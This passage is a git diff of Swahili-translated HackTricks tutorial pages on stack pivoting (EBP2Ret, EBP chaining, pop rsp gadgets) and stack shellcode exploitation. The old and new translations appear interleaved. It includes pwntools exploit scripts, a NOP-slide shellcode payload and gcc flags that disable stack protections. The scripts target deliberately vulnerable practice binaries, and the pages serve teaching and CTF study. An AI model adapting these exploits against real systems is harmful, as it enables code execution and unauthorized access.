* Biti 64, hakuna PIE, nx, andika kwenye kumbukumbu fulani ROP ili kuita `execve` na ruka hapo.
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
* Biti 64, nx, hakuna PIE, andika kwenye kumbukumbu fulani ROP ili kuita `execve` na ruka hapo. Ili kuandika kwenye steki kazi ya kufanya operesheni za hisabati inatumika vibaya
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* Biti 64, hakuna PIE, nx, BF canary, andika kwenye kumbukumbu fulani ROP ili kuita `execve` na ruka hapo.
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
@ -188,6 +193,6 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

71
reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Taarifa Msingi
Mbinu hii inadukua uwezo wa kudhibiti **Msitari wa Msingi (EBP)** ili kuunganisha utekelezaji wa kazi nyingi kupitia matumizi makini ya kisajili cha EBP na mfuatiliaji wa maagizo ya `leave; ret`.
Mbinu hii inatumia uwezo wa kudhibiti **Msingi wa Alama (EBP)** ili kuunganisha utekelezaji wa kazi nyingi kupitia matumizi makini ya usajili wa EBP na mfuatiliaji wa maagizo ya `leave; ret`.
Kama kumbukumbu, **`leave`** kimsingi inamaanisha:
```
@ -28,36 +28,44 @@ Na kwa kuwa **EBP iko kwenye stack** kabla ya EIP inawezekana kuudhibiti kwa kud
### EBP2Ret
Tekniki hii ni muhimu hasa unapoweza **kubadilisha kisajili cha EBP lakini huna njia moja kwa moja ya kubadilisha kisajili cha EIP**. Inatumia tabia ya kazi wakati zinaisha kutekelezwa.
Mbinu hii ni muhimu hasa unapoweza **kubadilisha kisajili cha EBP lakini huna njia moja kwa moja ya kubadilisha kisajili cha EIP**. Inatumia tabia ya kazi wakati zinaisha kutekelezwa.
Ikiwa, wakati wa utekelezaji wa `fvuln`, unaweza kuingiza **EBP bandia** kwenye stack inayoashiria eneo kwenye kumbukumbu ambapo anwani ya shellcode yako inapatikana (pamoja na byte 4 kuzingatia operesheni ya `pop`), unaweza kudhibiti EIP kwa njia isiyo ya moja kwa moja. Wakati `fvuln` inaporudi, ESP inawekwa kwenye eneo hili lililoundwa, na operesheni inayofuata ya `pop` inapunguza ESP kwa 4, ikifanya iweze kuelekeza kwa shellcode yako. Wakati maagizo ya `ret` yanatekelezwa, udhibiti unahamishiwa kwa shellcode yako.
Ikiwa, wakati wa utekelezaji wa `fvuln`, unaweza kuingiza **EBP bandia** kwenye stack inayoelekeza eneo kwenye kumbukumbu ambapo anwani ya shellcode yako inapatikana (pamoja na byte 4 kuhesabu operesheni ya `pop`), unaweza kudhibiti EIP kwa njia isiyo ya moja kwa moja. Wakati `fvuln` inarudi, ESP inawekwa kwenye eneo lililoundwa hili, na operesheni inayofuata ya `pop` inapunguza ESP kwa 4, **kufanya ielekee kwa anwani iliyohifadhiwa na mshambuliaji hapo.**\
Tambua jinsi unavyohitaji **kujua anwani 2**: Moja ambapo ESP itaenda, ambapo utahitaji kuandika anwani inayoelekezwa na ESP.
#### Ujenzi wa Shambulizi
#### Ujenzi wa Utekaji
Kwanza unahitaji **kuingiza shellcode yako** mahali popote kwenye kumbukumbu inayoweza kutekelezwa na **pata anwani**, au pata anwani ya [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) halali, au fanya ESP ielekeze mahali na anwani ya **`system()`** ikifuatiwa na **byte 4 za taka** na anwani ya `"/bin/sh"`.
Kwanza unahitaji kujua **anwani ambapo unaweza kuandika data/anwani za kiholela**. ESP itaelekeza hapa na **kutekeleza `ret` ya kwanza**.
Kisha, tengeneza padding na **dhoofisha EBP** na `anwani ya shellcode/one_gadget - 4`. Lazima iwe `-4` kwa sababu ya `pop`. Kisha, ESP itakuwa ikiashiria kwa anwani tunayotaka na `ret` itatekelezwa.
Kisha, unahitaji kujua anwani inayotumiwa na `ret` ambayo ita **tekeleza kanuni za kiholela**. Unaweza kutumia:
#### Shambulizi la Off-By-One
* Anwani halali ya [**ONE\_GADGET**](https://github.com/david942j/one\_gadget).
* Anwani ya **`system()`** ikifuatiwa na **byte 4 za taka** na anwani ya `"/bin/sh"` (x86 bits).
* Anwani ya kifaa cha **`jump esp;`** ([**ret2esp**](ret2esp-ret2reg.md)) ikifuatiwa na **shellocde** ya kutekelezwa.
* Baadhi ya mnyororo wa [**ROP**](rop-return-oriented-programing.md)
Kuna toleo maalum la tekniki hii linalojulikana kama "Shambulizi la Off-By-One". Hutumiwa unapoweza **kubadilisha byte ya kima cha chini kabisa cha EBP**. Katika kesi kama hiyo, eneo la kumbukumbu linalohifadhi anwani ya shellcode lazima iwe na byte tatu za kwanza zinazoshirikiana na EBP, kuruhusu udanganyifu sawa na hali zilizozuiwa zaidi.
Kumbuka kwamba kabla ya anwani yoyote hizi katika sehemu iliyodhibitiwa ya kumbukumbu, lazima kuwe na **`4` byte** kwa sababu ya sehemu ya **`pop`** ya maelekezo ya `leave`. Inawezekana kutumia 4B hizi kuanzisha **EBP bandia ya pili** na kuendelea kudhibiti utekelezaji.
#### Utekaji wa Off-By-One
Kuna toleo maalum la mbinu hii linalojulikana kama "Utekaji wa Off-By-One". Hutumiwa unapoweza **kubadilisha byte ya thamani ndogo zaidi ya EBP**. Katika kesi kama hiyo, eneo la kumbukumbu linalohifadhi anwani ya kusonga kwenda na **`ret`** lazima iwe na byte tatu za kwanza na EBP, kuruhusu udanganyifu kama huo chini ya hali zilizozuiwa zaidi.
### **EBP Chaining**
Hivyo, kwa kuweka anwani iliyodhibitiwa kwenye kuingia ya `EBP` ya stack na anwani ya `leave; ret` katika `EIP`, inawezekana **kuhamisha `ESP` kwenye anwani iliyodhibitiwa ya `EBP` kutoka kwenye stack**.
Sasa, **`ESP`** inadhibitiwa ikiashiria kwa anwani inayotakiwa na maagizo inayofuata ya kutekelezwa ni `RET`. Ili kutumia hili, inawezekana kuweka mahali pa ESP iliyodhibitiwa hivi:
Sasa, **`ESP`** inadhibitiwa ikiashiria anwani inayotakiwa na maelekezo inayofuata ya kutekelezwa ni `RET`. Ili kutumia hili, inawezekana kuweka mahali pa ESP iliyodhibitiwa hivi:
* **`&(EBP bandia inayofuata)`** -> Pakia EBP mpya kwa sababu ya `pop ebp` kutoka kwa maagizo ya `leave`
* **`&(EBP bandia inayofuata)`** -> Pakia EBP mpya kwa sababu ya `pop ebp` kutoka kwa maelekezo ya `leave`
* **`system()`** -> Kuitwa na `ret`
* **`&(leave;ret)`** -> Kuitwa baada ya system kumaliza, itahamisha ESP kwa EBP bandia na kuanza tena
* **`&(leave;ret)`** -> Kuitwa baada ya mfumo kumaliza, itahamisha ESP kwa EBP bandia na kuanza tena
* **`&("/bin/sh")`**-> Param kwa `system`
Kimsingi njia hii inawezesha kuunganisha EBPs bandia kadhaa kudhibiti mtiririko wa programu.
Kwa kweli, hii ni kama [ret2lib](ret2lib/), lakini ni ngumu zaidi bila faida inayoonekana lakini inaweza kuwa ya kuvutia katika hali za kipekee.
Zaidi ya hayo, hapa kuna [**mfano wa changamoto**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) inayotumia tekniki hii na **uvujaji wa stack** kuita kazi ya ushindi. Hii ni mzigo wa mwisho kutoka kwenye ukurasa:
Zaidi ya hayo, hapa kuna [**mfano wa changamoto**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) inayotumia mbinu hii na **uvujaji wa stack** kuita kazi ya ushindi. Hii ni mzigo wa mwisho kutoka kwenye ukurasa:
```python
from pwn import *
@ -93,11 +101,38 @@ pause()
p.sendline(payload)
print(p.recvline())
```
## EBP ni bure
Kama [**ilivyoelezwa katika chapisho hili**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ikiwa binary imekompiliwa na baadhi ya optimizations, **EBP kamwe haiwezi kudhibiti ESP**, kwa hivyo, shambulio lolote linalofanya kazi kwa kudhibiti EBP litashindwa kimsingi kwa sababu halina athari halisi.\
Hii ni kwa sababu **prologue na epilogue hubadilika** ikiwa binary imeboreshwa.
* **Sio imeboreshwa:**
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
* **Imeboreshwa:**
```bash
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
```
## Njia nyingine za kudhibiti RSP
### **Gadget ya `pop rsp`**
[Katika ukurasa huu](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) unaweza kupata mfano wa kutumia mbinu hii. Kwa changamoto hii ilikuwa ni lazima kuita kazi na vigezo 2 maalum, na kulikuwa na **gadget ya `pop rsp`** na kuna **leak kutoka kwenye stack**:
[Katika ukurasa huu](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) unaweza kupata mfano wa kutumia mbinu hii. Kwa changamoto hii ilikuwa lazima kuita kazi na vigezo 2 maalum, na kulikuwa na **gadget ya `pop rsp`** na kuna **vuja kutoka kwenye stack**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@ -154,7 +189,7 @@ xchg <rag>, rsp
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:

32
reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md
View file

@ -16,7 +16,7 @@ Njia nyingine za kusaidia HackTricks:
## Taarifa Msingi
**Msimbo wa stack shellcode** ni mbinu inayotumiwa katika uchimbaji wa binary ambapo muhusika anaandika msimbo wa shell kwenye stack ya programu yenye kasoro kisha anabadilisha **Mshale wa Maelekezo (IP)** au **Mshale wa Maelekezo Mpana (EIP)** kuashiria eneo la msimbo huu wa shell, ikisababisha utekelezaji wake. Hii ni njia ya kawaida inayotumiwa kupata ufikiaji usioruhusiwa au kutekeleza amri za kupindukia kwenye mfumo lengwa. Hapa kuna maelezo ya mchakato, pamoja na mfano rahisi wa C na jinsi unaweza kuandika shambulio linalofanana kutumia Python na **pwntools**.
**Msimbo wa stack shellcode** ni mbinu inayotumiwa katika uchunguzi wa binary ambapo muhusika anaandika msimbo wa shell kwenye stack ya programu yenye kasoro na kisha kurekebisha **Pointer ya Maelekezo (IP)** au **Pointer iliyozidishwa ya Maelekezo (EIP)** ili ielekee kwenye eneo la msimbo huu wa shell, ikisababisha utekelezaji wake. Hii ni njia ya kawaida inayotumiwa kupata ufikiaji usioruhusiwa au kutekeleza amri za kupindukia kwenye mfumo lengwa. Hapa kuna maelezo ya mchakato, pamoja na mfano rahisi wa C na jinsi unaweza kuandika shambulio linalofanana kutumia Python na **pwntools**.
### Mfano wa C: Programu yenye Kasoro
@ -44,14 +44,14 @@ Ili kuunda programu hii huku ukizima ulinzi mbalimbali (kwa lengo la kusimuliza
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-fno-stack-protector`: Inazima ulinzi wa stack.
* `-z execstack`: Inafanya stack iweze kutekelezwa, ambayo ni muhimu kwa kutekeleza shellcode iliyohifadhiwa kwenye stack.
* `-no-pie`: Inazima Position Independent Executable, ikifanya iwe rahisi kutabiri anwani ya kumbukumbu ambapo shellcode yetu itakuwa.
* `-fno-stack-protector`: Inazuia ulinzi wa stak.
* `-z execstack`: Inafanya stak iweze kutekelezwa, ambayo ni muhimu kwa kutekeleza shellcode iliyohifadhiwa kwenye stak.
* `-no-pie`: Inazuia Utekelezaji wa Kitegemezi wa Nafasi, ikifanya iwe rahisi kutabiri anwani ya kumbukumbu ambapo shellcode yetu itakuwepo.
* `-m32`: Inakusanya programu kama utekelezaji wa biti 32, mara nyingi hutumiwa kwa urahisi katika maendeleo ya kutumia mwanya.
### Shambulizi la Python kutumia Pwntools
### Shambulio la Python kwa kutumia Pwntools
Hapa ndio jinsi unavyoweza kuandika shambulizi katika Python ukitumia **pwntools** kutekeleza shambulizi la **ret2shellcode**.
Hapa ndivyo unavyoweza kuandika shambulio kwa kutumia Python ukitumia **pwntools** kutekeleza shambulio la **ret2shellcode**.
```python
from pwn import *
@ -78,30 +78,36 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
Hati hii inajenga mzigo unaoundwa na **slaidi ya NOP**, **shellcode**, na kisha kubadilisha **EIP** na anwani inayoashiria kwenye slaidi ya NOP, ikisimamia shellcode kutekelezwa.
Hii script inajenga mzigo unaounda **slaidi ya NOP**, **shellcode**, na kisha kubadilisha **EIP** na anwani inayoashiria kwenye slaidi ya NOP, ikisimamia shellcode kutekelezwa.
**Slaidi ya NOP** (`asm('nop')`) hutumiwa kuongeza nafasi kwamba utekelezaji uta "kusukuma" kuingia kwenye shellcode yetu bila kujali anwani sahihi. Badilisha hoja ya `p32()` kwa anwani ya kuanzia ya buffer yako pamoja na kufanya marekebisho ili kutua kwenye slaidi ya NOP.
## Kinga
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **inapaswa kuzimwa** ili anwani iweze kutegemewa kote kwenye utekelezaji au anwani ambapo kazi itahifadhiwa haitakuwa daima sawa na utahitaji kuvuja fulani ili kugundua wapi kazi ya ushindi imehifadhiwa.
* [**Canaries ya Stack**](../common-binary-protections-and-bypasses/stack-canaries/) pia inapaswa kuzimwa au anwani iliyoharibiwa ya kurudi kwa EIP haitafuatwa kamwe.
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) kinga ya **stack** itazuia utekelezaji wa shellcode ndani ya stack kwa sababu eneo hilo halitakuwa la kutekelezeka.
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) pia inapaswa kuzimwa au anwani iliyoharibiwa ya kurudi kwa EIP haitafuatwa kamwe.
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) kinga ya **stack** ingezuia utekelezaji wa shellcode ndani ya stack kwa sababu eneo hilo halitakuwa la kutekelezeka.
## Mifano Mingine
## Mifano na Marejeo Mengine
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
* 64bit, ASLR na kuvuja kwa anwani ya stack, andika shellcode na ruka kwenda kwake
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
* 32 bit, ASLR na kuvuja kwa stack, andika shellcode na ruka kwenda kwake
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
* 32 bit, ASLR na kuvuja kwa stack, kulinganisha kuzuia wito kwa exit(), badilisha variable na thamani na andika shellcode na ruka kwenda kwake
<details>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>